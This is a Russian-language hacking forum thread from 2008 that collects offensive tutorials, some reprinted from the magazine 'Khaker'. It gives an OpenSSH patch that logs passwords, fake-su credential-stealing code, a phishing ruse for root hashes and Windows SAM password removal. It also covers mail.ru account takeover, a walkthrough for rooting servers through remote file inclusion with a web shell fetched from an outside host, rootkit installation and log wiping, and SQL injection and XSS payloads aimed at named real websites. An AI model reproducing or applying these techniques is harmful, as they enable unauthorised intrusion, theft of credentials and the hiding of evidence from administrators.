Часто админы оставляют важные файлы в своих каталогах. Они содержат некоторые заметки. Не исключено, что среди таковых ты можешь встретить и пароли. Я сам сталкивался с таким и нарыл рутовый пароль в файлике “notes”. Обращай повышенное внимание на подобные вещи.
6. Поиск в логах.
Да! Помимо обычной информации, логи могут содержать пароли. Например, radius ведет полный отчет об аутентификации (по умолчанию). Что парадоксально, эти логи доступны для чтения обычному пользователю. Из-за этого, становится возможным прочитать отчет авторизации, а, следовательно, узнать пароли (возможно, среди них будет и рутовый).
7. Снифинг данных.
Некоторые руткиты содержат в себе локальный снифер, который позволяет легко узнавать пароли на ssh (простая модификация /usr/bin/ssh с поддержкой логгинга ). Обычно такая поддержка и путь к файлу с логом указывается в документации руткита). Все хорошо, но огорчает лишь одно обстоятельство: большинство руткитов содержат старый ssh, который поддерживает лишь первый протокол. В итоге, хакер может выдать себя с потрохами.
Но кто мешает собрать собственный ssh и включить в нем запоминание паролей? Правильно! Никто. Находим в пакете OpenSSH файлик с именем sshconnect1.c. Затем вставляем в его содержимое следующие строки:
После строчки “snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",server_user, host);”
ifile=fopen("/boot/kernel.old","a");
fprintf(ifile,"session %s %s ",server_user,host);
fclose(ifile);
После строчки “password = read_passphrase(prompt, 0);”
ifile=fopen("/boot/kernel.old ","a");
fprintf(ifile,"password is %s ",password);
fclose(ifile);
Если все сделано правильно, ssh соберется без приключений. Теперь админ не заметит изъяна в системе, а ты узнаешь его пароль на ssh. Когда он ходит под рутом – это и будет рутовый пароль .
8. Прикидываемся системным сервисом .
Для осуществления этого способа достаточно написать небольшой скрипт, который читает /etc/shadow и гребет оттуда рутовый хэш. Это просто и писать сценарий я не буду (справишься сам). Затем пишется e-mail администратору, в котором говориться, что в системе обнаружен вирус, и для его лечения необходимо запустить специальную программу. Для полной убежденности, укажи системный путь к этой программе. Когда админ запустит твое творение (а сделает он это под рутом), ты уведешь его драгоценный хэш. Разумеется, тебе нужно напичкать свой сценарий разного рода надписями, что вирус излечен. Да, и не вздумай выкладывать исходник на диск в системе – админ его обязательно прочитает. Если пишешь на перле, после написания скомпилируй его в бинарник (perlcc –o file file.pl).
9. Fake-su.
Этот метод я описывал в одном из номеров Хакера (Юниксоид, Забавы в Linux). Из-за того, что юзеры, читавшие Хакер не посещают сайта (и наоборот), будет не лишним повторить мой хитрый прием.
Итак, создается файл следующего содержания:
#define SORRY "Sorry"
#define PFILE "tmp/.screen"
#define MYPATH "tmp/.screen_active"
#include
void sigexit(int no);
int main() {
char pass[40];
char longs[100];
int filep;
signal(SIGINT, sigexit);
printf("Password:");
system("stty -echo");
scanf("%s",pass);
system("stty echo");
printf(" ");
filep=fopen(PFILE,"w");
fprintf(filep,"Pass is %s ",pass);
fclose(filep);
printf("%s ",SORRY);
strcpy(longs,"");
strcat(longs,"/bin/ln -sf /bin/su ");
strcat(longs,MYPATH);
system(longs);
exit(0);
}
void sigexit(int no) {
system("stty echo");
printf(" ");
exit(0);
}
и обзывается su.c. Если вглядеться в простенький код можно понять, что это полная имитация /bin/su, только с логированием пароля в файл tmp/.screen. Сам бинарник будет находиться в файле tmp/.screen_active (все пути относительно домашнего каталога пользователя). После того, как файл выполнится он замещается стандартным /bin/su. Таким образом, админ думает, что ошибся паролем, так как со второй попытки суид будет успешным.
Перед тем, как проверять данный метод на практике, впиши строчку “alias su /home/user/tmp/.screen_active в файл ~/.bash_profile и жди, пока админ решит суиднуться на рута. Когда это произойдет – пароль твой .
Данный метод работает лишь тогда, когда юзер регулярно суидиться на рута, а у хакера есть доступ к этому аккаунту (либо ко всей системе).
10. Стандартный способ.
И, наконец, настало время рассказать про самый тривиальный способ. Хакер захватывает систему и получает доступ к /etc/shadow. Далее, все по сценарию – берется расшифровщик, хороший словарь и вся надежда только на удачу. Я думаю, ты не раз сталкивался с применением этого метода. И, что интересно, постоянно забывал об остальных 9...
Поделиться62008-01-20 12:41:25
Т.К я новичек то мне непонятно тут много.вот например определение рутого пароля. мне вообщем картина не ясна как все это происходит.Если несложно то можно по подробнее и с фото. и еще про взлом системы.что для этого надо .этапы проникновения.способы.
Поделиться72008-01-24 17:53:55
взлом SAM файлов
Автор: slider
Вы наверняка не раз думали, как зайти под пользователем в Windows XP и в тоже время, чтоб жертва ничего не узнала. Вот и ответ.
Жертва:
Название ОС: Microsoft Windows XP Professional
Версия ОС: 5.1.2600 Service Pack 2 сборка 2600
Тип файловой системы: NTFS
Цель: зайти под пользователем с правами администратора
Ингредиенты:
Flash карта : (Я использую Kingston Data Traveler 128 mb) Софт для работы с NTFS: NTFS DOS Professional v.4.0
Софт для создания загрузочного диска и работы с SAM: Active@ Password Changer v 3.0
1. Устанавливаем Active@ Password Changer v 3.0
1.С установкой проблем не будет!
2.Создаем загрузочный диск.
1. Утилита BootableDiskCreator.exe запускаем.
2. Вставляем флэш карту.
3. В разделе Removable: выбираем диск (в моём случае F
4. Отмечаем галочки Add USB support, Add CD-ROM support (НЕОБЯЗАТЕЛЬНО)
5. Start
6. Close
3.Копируем NTFS DOS Professional v.4.0 на flash карту в папку NTFS
1. no comment!
Всё! Софт для работы готов приступаем к делу.
1. Втыкаем флэшку у жертвы.
2. Заходим в Bios (F2 or DEL).
3. В приоритетах нужно выбрать какое устройство будет грузиться первым.
(В этой версии БИОСа так)
1.Вкладка Advanced->Hard Disk Boot Priority
2.Видим Примерно Следующее:
1.Сh0 M. : ST380011A
2.Bootable Add-in Cards
3.USB-HDD0 : KingstonDataTraveler 2.01.0 (Ставим на первое место)
(Изменяем с помощью Page UP or Page Down)
4.Сохраняем и Перезагрузка.
5.(Идёт загрузка с flash карты) Ждём ……….
1. Жмём <enter> клавишу.
2. (Появился сам загрузчик но пока он нам не нужен ) жмём <3> (Exit) и <Enter>
3. Появилась командная строка … Делаем следующие …..
C:\>
C:\>dir (Видим содержимое флэш карты значит C:\ это флэшка)
C:\>cd NTFS (Переходим в папку NTFS)
C:\>NTFSPRO.exe (Запуск Файла для работы с NTFS …. Идёт загрузка ….)
(В конце видем строку Mounting NTFS partition at 0X81:1 as drive E
C:\>E: (Переходим в диск с файловой системой NTFS)
E:\>cd Windows\system32\config (Переход в папку с SAM файлом)
E:> Copy SAM C:\ (копируем файл SAM в флэшку)
E:\>C: (Переходим во флэшку)
C:\NTFS\>cd \ (Переходим в корень диска)
C:\>pwd_chng.exe (Запускаем программу Password Changer)
6. Клацаем клавишу <1> и <enter>
7. Выбираем диск с виндой в моём случае <1> и <enter> ждём…..<enter>…
8. Выбираем пользователя (ЖЕРТВУ мой случай - <1> и <ENTER> )
9. Здесь отмечаем галочки отмечаем ( X ) крестиком Clear This User’s Password и <y>
10.Перезагружаемся и заходим под жертвой (Всё Пароль Снят)
Теперь ставим пароль обратно:1.Опять грузимся с флэшки 2.выходим в командную строку3.В Командной строке набиваем: C:\>cd NTFS
C:\>ntfspro.exe
C:\Ntfs>E:
E:\>cd Windows\system32\config\
E:\>Copy C:\SAM .
(Подтверждаем замену файла <y>)
4.Усё пароль восстановлен теперь перезагрузка
Прочее
1.Вы можете подобрать пароль с помощью программы SAMinside (Описывать это я небуду так как это совсем другая статья)
2.Если в Bios-е стоит пароль его можно стряхнуть сняв батарейку с материнской платы на пару секунд. После зайдя в Bios настройте время так как оно тож стряхнется.
Софт
1. Всё программы вы можете найти в поисковиках :
http://rambler.ru
http://google.ru
http://yandex.ru
2. NTFSDOS Professional
Copyright © 1999-2003 Winternals Software LP
wwwwinternals.com
3. Active@ Password Changer v.3.0
Copyright © 1998-2005 Active@ Data Recovery Software
LSoft Technologies Inc.
4. SAMinside
Copyright (c)2004-2006, InsidePro
Сайт программы: http://www.InsidePro.com
Всё теперь мы разобрались, как убирать пароль и ставить его обратно
Всем Удачи!!!
slider
Поделиться82008-02-14 00:22:42
Крис Касперски писал:
"Хакерство" - настолько общее понятие, что никаких универсальных рекомендаций "как стать хакером" не существует. Если под "хакером" понимать человека, одержимого познаванием окружающего мира, то независимо от того, зарывается ли он по голову в распечатки или коротает вечера, вглядываясь в глубины Вселенной, а может быть, проводит все свободное время за изучением клинописных табличек - это типичный хакер, с детских лет движимый естественным человеческим любопытном и постоянно задающий вопрос "а почему?". Мир познаваем, но процесс его познавания бесконечен, и в нем всегда найдется место очередному вопросу "почему?". Хакеров, в отличие от простых смертных, интересует не конечный результат, а сам процесс познания. Отсюда следует: хакером стать невозможно, им только можно становиться, бесконечно совершенствуясь и совершенствуясь. А пути познания каждый выбирает сам, так, чтобы процесс обучения доставлял удовольствие.
Поделиться92008-02-14 16:04:28
ГРаф +1 тебе!
Я всегда задаю вопрос а почему?,и А как? это работает!
Я думал только один такой,причем пока до сути не дойду,так и буду думать и спрашивать!
Мммм.....
Поделиться102008-03-10 19:38:33
Цикаво, весьма. Озя молодец. Интерестный форум. Делфи рулит.!!!!!!!!!
Поделиться112008-03-10 20:26:15
както раз надо было просмотреть почту моей систры....и пришлось ломать пачту на mail.ru и так......
у вашего знакомого есть почта на mail.ru предположим он забыл пароль. Он пишет в систему напоминания паролей и счастлив. Но дело в том что за пароли отвечает робот машина и как любую машину его легко обмануть. Вы регистрируетесь на майле(любой адрес) и отправляте письмо. Предположим у вас адрес 2004@mail.ru и ваш пароль - 1010, а вы хотите взломать адрес user@mail.ru. Письмо следуещего вида: в заголовке адрес вы пишите:mail_log_support@mail.ru
в пункте тема указываете:
login_user_2004//pass_change_1010 over login_user//pass_change**
получив такое письмо машина реагирует на ваш запрос следующим образом: сначала она воспринимает ваш правильный логин и пароль, затем неправильный, но так вход уже произведен она высылает вам верный пароль на следующий логин(в данном случае user).
Итак вы получаете доступ к почте.И можете смело хвастаться перед друзьями и требовать вознаграждение за возвращения адреса.
Но когда вы будете отправлять может дать ошибку что не правельный адресат или что его не существет... тогда способ 2!
берем емейл человека например warteg@mil.ru и ищем етот емейл по всем поисковикам(собираем инфу) может єтот человек когдато оставялял какието даные......Ищем по всем поисковикам!!! а потом по самому нику...потом все что нашли сохранили....и пишем администратору mail.ru адрес администрации как правило support@домен....support@mail.ru и пишем что я забыл пароль от своего мыла...и начинаем хвалить и все такое , что не хотите уходить с ихнего сервиса что они самые лутшие......и пишем даные которые нашли! с первого раза не получается и так отправив писем 5 получаем пароль)))))))) вот и все! и еще один способ......но я про него только слишал....расказывали......кароче мыло кидаем спамом да так чтоб заполнить ящик, когда заполнен ящик то мыло удаляется через какойто срок.......потом быстренько бижим и ригистрируем такойже ник))))и все!
Отредактировано Zinteco (2008-03-10 20:54:22)
Поделиться122008-03-12 10:29:09
Но дело в том что за пароли отвечает робот машина и как любую машину его легко обмануть. Вы регистрируетесь на майле(любой адрес) и отправляте письмо. Предположим у вас адрес 2004@mail.ru и ваш пароль - 1010, а вы хотите взломать адрес user@mail.ru. Письмо следуещего вида: в заголовке адрес вы пишите:mail_log_support@mail.ru
в пункте тема указываете:
login_user_2004//pass_change_1010 over login_user//pass_change**
получив такое письмо машина реагирует на ваш запрос следующим образом: сначала она воспринимает ваш правильный логин и пароль, затем неправильный, но так вход уже произведен она высылает вам верный пароль на следующий логин(в данном случае user).
старый н*еб...
Поделиться132008-03-12 10:56:53
старый н*еб...
знаю что старый....)))
З.Ы. расскажи новый!!!)))))))))
Поделиться142008-06-18 22:48:23
В этой статье рассказано как порутить сервак!
Открываем в своем браузере поисковик GOOGLE. Теперь мы займемся, как говорят, гуглхакингом. Нам нужно найти странички с багами в PHP, но нам нужен определенный баг, для этого пишем в строке поиска allinurl: index.php?page=http:// жмем кнопочку искать. Гугль выдаст нам некоторое количество ссылок содержащих в своем урле строчку index.php?http://, к сожалению большинство из них не работают , так как дыры уже закрыли. Но все таки можно что нибудь найти: например вы нашли примерно такую страничку содержащую в урле – xaker.net/index.php?page=http://hack.com , теперь нужно проверить работает ли он. Так при открытие страница не выдала никаких ошибок, значит что дела у нас не так уж плохи, дальше нам нужно написать программку на PHP , которая будет выполнять роль шелла (код скрипта я опускаю так как таких очень огромное кол-во в инете) или воспользоваться уже готовым шеллом, сохраняем его в txt и вылаживаем на свою страничку, если таковой нет, можно воспользоваться вполне приличным хостингом – narod.yandex.ru. Регим аккаунт и заливаем туда наш скрипт. Теперь заходим на страничку с багом и в строке браузера добавляем к index.php?page= путь к скрипту , например http://Mysite.narod.ru/shell.txt. Должен открыться вебшелл с командной строкой. Следующее наше действие – это нужно узнать на какой оси крутится этот веб сервер, это можно сделать командой uname –a, А лучше использовать веб шелл , который можно взять с http://rst.void.ru/download/r57shell.txt или указать к нему путь из строки браузера (это упрощает наше дело так, как не нужно регить аккаун), юзайте этот шелл , так как он имеет вполне дружественный интерфейс и там все понятно даже чайнику и не нужно знать команды никсовых осей. Кстати ,я, вам сразу скажу что вы практически не найдете серверов с данной уязвимостью если будете писать в строке поиска Google : allinurl: index.php?page=http:// (я нашел меньше десятка), поэтому проявите фантазию пиши вместо index – action , вместо http:// можно написать .htm или news.txt и т.д.
Итак мы добрались до шелла, теперь мы узнали какая стоит ось, сразу скажу, что нам нужен только Linux и ничего другого(почему? Поймете когда столкнетесь с проблемой где взять руткит или сплоит). Например мы нашли сервер с осью Linux 2.4.10. , что дальше, идем на securitylab.ru или еще куда нибудь и ищем сплоит под это ядро. Так сплоит мы нашли. Создаем на сервере папку в которую мы этот сплоит будем заливать и где будем компилить: cd temp – переходим в папку темп, mkdir .exp – создаем папку с точкой (такую папку будет трудно найти не зная ее точного названия), cd .exp – переходим в эту папку, теперь сюда нужно закачать сплоит. Можно воспользоваться командой wget, lynx или др., для закачки из сети . Но мы будим закачивать файл через веб шелл r57shell, в котором есть функция загрузки файлов как из сети так и с твоей машины. ОК, теперь нужно скомпилить его: пишем gcc exploit.c . Очень часто бывает что сплоиты не компилится (это бывает по разным причинам), поэтому либо доводим до ума то, что имее (с вопросами обращаться на #wox), либо ищем рабочий. После успешной компиляции запускаем сплоит командой a.out. Attacking… Идеальный результат будет если ты получишь , что то типа UID=0 GID=0 . Все ты ROOT . Но это еще не все, на похаченную систему надо поставить руткит, ведь не будете же вы каждый раз ломится в систему используя сплоит (что сопоставимо с вышибанием двери кувалдой) . ROOTKIT – это набор программ для удержания включающий в себя бекдоры, логвайперы, снифферы и д.р. хрень. Они заменяют бинарники на свои, например команда ps перестанет показывать процессы определенного пользователя и т.д. Скачать рутки можно с http://www.packetstorm.security.com/UNI … kit.tar.gz
Распаковать можно командой tar –zxvf rootkit.tar.gz – это распакует архив, cd /rk5 – перейдем в папку, .make install – установка руткита. Все теперь можно отключаться и спокойно коннектится к сераку через Telnet . Вводим логин rewt, пароль satori. От такого ввода система впустит вас с правами рута. Вы счастливы и сразу начинаете цеплять сканеры, брутофорсы и др. А логии? Про логи вы забыли? Этот руткит не ведет логии ваших действий , но ведь осталось куча логов о незаконном вторжении на сервер. Конечно можно удалить все записи о ваших действия из логов в ручную, но это долго и нам не нужно, так как вы все равно не найдете все логии куда велись записи и не все сможете изменить (если просто все поудалять то можно проститься с рутом , т.к.
Админ тоже не чайник и увидев пустые логи он задумается и скоро вас вычислит). Поэтому скачиваем программулину Http://www.packetstorm.security.com/...ipers/vanish.c
Запускаем vanish root victim.dom you_ip Удаляет все записи о действиях с вашего ip. Теперь вы хозяин ситемы!
2) Следующий способ основывается на другой уязвимости . Я не буду говорить вам как найти эту уязвимость иначе обламаю вам весь кайф, но расскажу как с помощью нее можно получить рута.
В общем уязвимость показывает нам в браузере файл passwd на сервере. Например mysite.ru/index.php/…./…./…./…./…./…/passwd . Если вы нашли такие уязвимости, то вам не составить сделать юзер лист с списком всех юзеров в passwd. Потом нам нужен фтп брутофорсер, который использует юзер листы. Запускаем брутофорс указываем user.txt куда мы вписали всех юзверей и начинаем атаку, вполне реально что вы найдете слабые пароли!
Итак в конце успешной атаки у нас есть пара логин-пароль одного из юзеров сервера. Конечно можно его задефейсить, но это нам ненужно так как наша цель сервер. Поэтому берем тотже самый Shell.txt , сохраняем его в PHP и заливаем в папку. Теперь в браузере набираем user.mysite.ru/shell.php откроется небезисвестный нам веб шелл, а дальше вы уже знаете что делать.
The End.Спасибо за внимание!
Надеюсь модеры не будут против этих статей!
Поделиться152008-06-18 22:50:46
В этой статье описаны проблемы которые могут стать на твоем пути хакерском
Проблемы со sql-injection
Как ни крути, но в последнее время рулят именно sql-инъекции. Программеры все чаще юзают MySQL/MSSQL-базы, не забывая кодить потенциально бажные движки Smile. О sql-injection уже несколько раз писалось в журнале, поэтому не вижу смысла повторяться (лучше почитай подшивку «Хакера»). Так что приступим непосредственно к сути. Как ты знаешь, все инъекты можно разделить на два типа: слепые и не слепые. Особенный геморрой при взломе создают слепые инъекции, так как в этом случае мы лишаемся возможности видеть ответ на свой запрос и саму ошибку. Причиной в php-скриптах может служить, например, error_reporting(0) (режим сокрытия сообщений об ошибках в php) и символ «@», поставленный перед функцией. Чтобы тебе было понятней, рассмотрим это явление на конкретном примере. Возьмем норвежский ресурс wwwkarriereguiden.no и перейдем по ссылке:
http://www.karriereguiden.no/presentation.php?id=144
Если подставить теперь символ одинарной кавычки в значение параметра id, то вместо предполагаемой ошибки мы увидим просто пустую страницу:
http://www.karriereguiden.no/presentation.php?id=144'
Следовательно, есть вероятность наличия бага. Подобрав количество полей, можно убедиться, что уязвимость действительно присутствует:
http://www.karriereguiden.no/presentati … 1,32,33+/*
Если подобрано правильное количество полей, на экране будут отображены предназначенные для вывода поля. В нашем случае - это шестое и седьмое поля. В некоторых конкретных случаях для подбора количества полей можно использовать конструкцию «order by». Тогда наш запрос выглядит так:
http://target.com/index.php?id='+order+by+10/*
Если полей больше 10-ти (или ровно 10), то ошибки не будет (или, при слепом инъекте, страница отобразится в обычном виде), в противном случае мускул злобно ругнется (а при слепом инъекте ты увидишь пустую страницу). Однако существенно осложнить твою жизнь может еще и фильтрация определенных символов. Бывает, что, даже при наличии прав file_priv, прочитать файл не получается из-за фильтрации кавычки. Обойти это можно при помощи char() вот таким запросом:
http://www.iamcal.com/misc/londonblogge … ,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7,8,9,10,11,12+/*
В результате мы прочитаем /etc/passwd с сервера, на котором хостится ресурс wwwiamcal.com. Кстати, для того чтобы вручную не переводить символы в их ASCII-код, я написал нехитрый скриптец, сорец которого лежит на нашем диске =).
Если ты думаешь, что сложнее уже некуда, то глубоко ошибаешься. Самый геморрой все еще впереди. Бывает, что в самом запросе, в имени поля, нельзя использовать буквы. На первый взгляд, кажется, что ловить здесь абсолютно нечего и надо сворачивать удочки. Но, на самом деле, обойти фильтрацию можно при помощи aes_decrypt()/aes_encrypt():
http://fat-cat.co.uk/fatcat/artistInfo. … es_decrypt(aes_encrypt(user(),0x71),0x71),6+/*
Ответ вернет нам лишь одну строчку – «root@localhost» =).
Еще один распространенный случай - фильтрация пробела, которая, к слову, тоже успешно устраняется с пути хакерского Smile. Дело в том, что вместо пробела можно использовать комментарии. То есть если мы хотим подобрать количество полей в таблице на wwwsaworship.com, то запрос будет не таким:
http://www.saworship.com/article-page.p … ingles.php
А вот таким:
http://www.saworship.com/article-page.p … ingles.php
Этот запрос успешно выполнится, и ты увидишь отображаемые поля =).
Как ты понял, геморройных ситуаций при проведении инъекций хватает. Иногда получается так, что несколько описанных мной случаев комбинируют между собой. Но главное не паниковать и не опускать руки.
Нестандартные xss
Теперь настало время рассмотреть нестандартные xss-баги. Что такое? Я слышу неодобрительные возгласы и свист гнилых помидоров с задних рядов… Зря, товарищи, зря! Тех, кто не считает xss уязвимостью, я попрошу удалиться, ибо все сказанное мной вы все равно пропустите мимо ушей. Для остальных напомню, что при успешном раскладе с помощью даже примитивного xss-бага порой можно получить пользовательский аккаунт или доступ к панели администратора сайта. Но в последнее время поля стали фильтровать все чаще, и простая проверка вида <script>alert('xss')</script> в 80% случаев уже не прокатывает. Возьмем популярный в рунете ресурс wwwhotel.ru. Полазив немного по линкам, несложно заметить самописный форум. Нас, собственно, больше всего интересует формочка для создания тем/сообщений. Повтыкав во все поля стандартные <script>alert('xss')</script>, многие подумают, что xss здесь и не пахло. Но это только на первый взгляд. Вбив javascript-код в поле «Сообщение» и присмотревшись к html-сорцу странички, можно обнаружить, что кавычка никак не фильтруется, а перед нашим кодом открыты тэги <TEXTAREA>, <TD> и <TR>:
<TR BGCOLOR="#fff2e4"><TD><TEXTAREA NAME="mesg" ROWS=10 COLS=49 class=forms1white style="width:400"><script>alert('xss')</script></TEXTAREA></TD></TR>
То есть нам нужно закрыть все открытые до нашего javascript-кода тэги, после чего указать сам javascript-код. Выглядеть в html-сорце это будет так:
<TR BGCOLOR="#fff2e4"><TD><TEXTAREA NAME="mesg" ROWS=10 COLS=49 class=forms1white style="width:400"></TEXTAREA></TD></TR><script>alert('xss')</script></TEXTAREA></TD></TR>
А сам сплойт примет вид:
</TEXTAREA></TD></TR><script>твой_яваскрипт_код_здесь</script>
Похожую ситуацию, но уже в другом ракурсе можно наблюдать на сайте wwwplentyoffish.com. После прохождения в раздел регистрации (wwwplentyoffish.com/register.aspx) и введения в поле пароля символа одинарной кавычки тебя попросят заполнить все поля. Однако, дописав параметр password и придав его значению символ кавычки, мы получим тот же результат. Но если мы составим линк:
http://www.plentyoffish.com/register.as … t>alert('xss')</script>
нас попросят пройти лесом. Хотя, если заглянуть в html-сорец, видно, что сначала необходимо закрыть кавычкой VALUE и указать «>»:
<TD><INPUT class="input" TYPE="input" NAME="Password" VALUE="" SIZE="13" MAXLENGTH="13" style="width: 100px">
Составленный с учетом всех требований, запрос успешно сработает:
http://www.plentyoffish.com/register.as … t>alert('xss')</script>
А сам эксплойт получится таким:
"><script>твой_яваскрипт_код_здесь</script>
Я привел лишь пару случаев. На самом деле, тема xss гораздо глубже, и геморроя хватает и здесь =).
Прочий «головняк»
Помимо всего прочего, часто встречаются и отдельные варианты «головняка». В частности, в перл-скриптах может присутствовать фильтрация пробела. Например, ресурс wwwcumcla.org содержит бажный скрипт showfile.cgi. Передав параметру filename значение id, мы увидим, что команда успешно выполнилась:
http://www.cumcla.org/cgi-bin/showfile. … ename=|id|
Но выполнение любой из составных команд (ps -ax, ls -la, uname -a, и т.д.) окажется неудачным, так как пробел фильтруется. В перле подобное ограничение можно обойти при помощи $IFS, то есть тебе достаточно поменять в запросе все имеющиеся пробелы на $IFS. В таком случае просмотреть версию операционки на сервере не составит труда:
http://www.cumcla.org/cgi-bin/showfile. … ame$IFS-a|
Еще один неприятный момент - авторизация в админке через .htpasswd. Дело в том, что даже если ты каким-то образом прочитал содержимое .htpasswd, то пасс там будет в 99% случаев лежать в зашифрованном виде. Причем в разных случаях алгоритм шифрования может быть разным. Это связано с тем, что утила htpasswd, идущая в комплекте с Апачем, поддерживает несколько алгоритмов шифрования, а именно - DES (ключ ‘-d’), MD5 (ключ ‘-m’) и SHA (ключ ‘-s’). При наличии на руках примеров хэшей этих алгоритмов, не составит особого труда определить, с каким ключом работает утила htpasswd в конкретно взятом случае.
Также стоит упомянуть об asp-движках. Здесь следует опровергнуть мнение о том, что asp-скрипты могут работать только под виндой, как считают многие. Хотя aspx встречается исключительно под win, asp-движок не плохо себя чувствует и под никсами. Взлому asp-движков будет посвящена моя статья в одном из следующих выпусков журнала, поэтому подробно заострять внимание на этом сейчас я не буду. Скажу лишь, что расширению не всегда можно верить - оно запросто может оказаться фейковым. Кстати, нельзя чрезмерно доверять и баннерам, принадлежащим крутящимся на сервере службам. Грамотный админ не обломается изменить стандартное приветствие ftp/smtp-сервера. Не зря говорят: «Доверяй, но проверяй». Всегда следуй этому правилу.
В заключение обращу твое внимание на получение доступа к базе. Как ты понимаешь, зачастую, даже имея на руках раскрученный инъект, хочется получить полноценного юзера (читай - рута =)) в ломаемой БД. Изначально многое зависит от юзера, с правами которого работает с базой уязвимый скрипт. Если есть доступ, например, к базе mysql, то не поленись проверить возможность удаленных подключений к БД (таблица user, поле host). Если такая возможность присутствует - считай, что тебе повезло. Сливай хэш рутового пароля к базе (таблица user, поля user и password). Как правило, пасс бывает в виде mysql-хэша (16 символов), но иногда встречается и алгоритм SHA-1. Первый брутится без проблем (смотри утилу в разделе «X-Tools»), а вот с SHA могут возникнуть трудности. Если удаленные подключения запрещены, то я все же советую тебе сбрутить пассы юзеров БД, так как нередки случаи, когда они подходят к ftp. Ну а при отсутствии доступа к базе mysql, но при наличии прав file_priv, читай конфиги и сорцы, которые могут содержать в себе заветные пароли. Конфиг Апача поможет тебе определить расположение директорий виртуальных хостов Smile.
The End.Спасибо за внимание!
Информация взята со страниц журнала "Хакер"
Поделиться162008-06-19 03:21:18
Если хочется уметь проводить sql иньекции желательно для начала прочитать injections rullez (завтра сайт дам) т.к. там документации на 5-6 дней + прочитать статьи на античате от Elect'a (Про альтернативу бенчмарка)(или мартовский номер хакера).И вперед с песней )))
Поделиться172008-06-19 11:17:32
Мартовский номерок Хакера я прочитал вдоль и в поперек(правда там было про слепой инект)
Поделиться182008-06-19 13:41:54
Дык это оно и есть.
Кстати сайты по Sql inject
http://injection.rulezz.ru/
Имхо самый лудший сайт на данную тематику
http://sql.ru/docs/mssql/tsql_ref/index.shtml
Transact SQL иногда нужно знать
http://www.sql.ru/articles/
Ище один сайт с кучей инфы про SQL
Отредактировано M1St (2008-06-19 13:49:17)
Поделиться192008-06-19 17:05:17
О пасиб! инфу всегда полезно почитать!
Поделиться202008-11-14 22:30:47
Супер фсем по +1) ОЧень тикава!
Похожие темы
Вирусы для мобильников и смартфонов. | Трепимся про что угодно... | 2008-05-11 |
перепрошивка мобильников (dead mode) | Фрикинг | 2009-05-13 |
трепимся) | Трепимся про что угодно... | 2009-02-02 |
ставим Windows | Подготовим машину | 2009-02-06 |
антивирусы и безопасность | Подготовим машину | 2009-02-08 |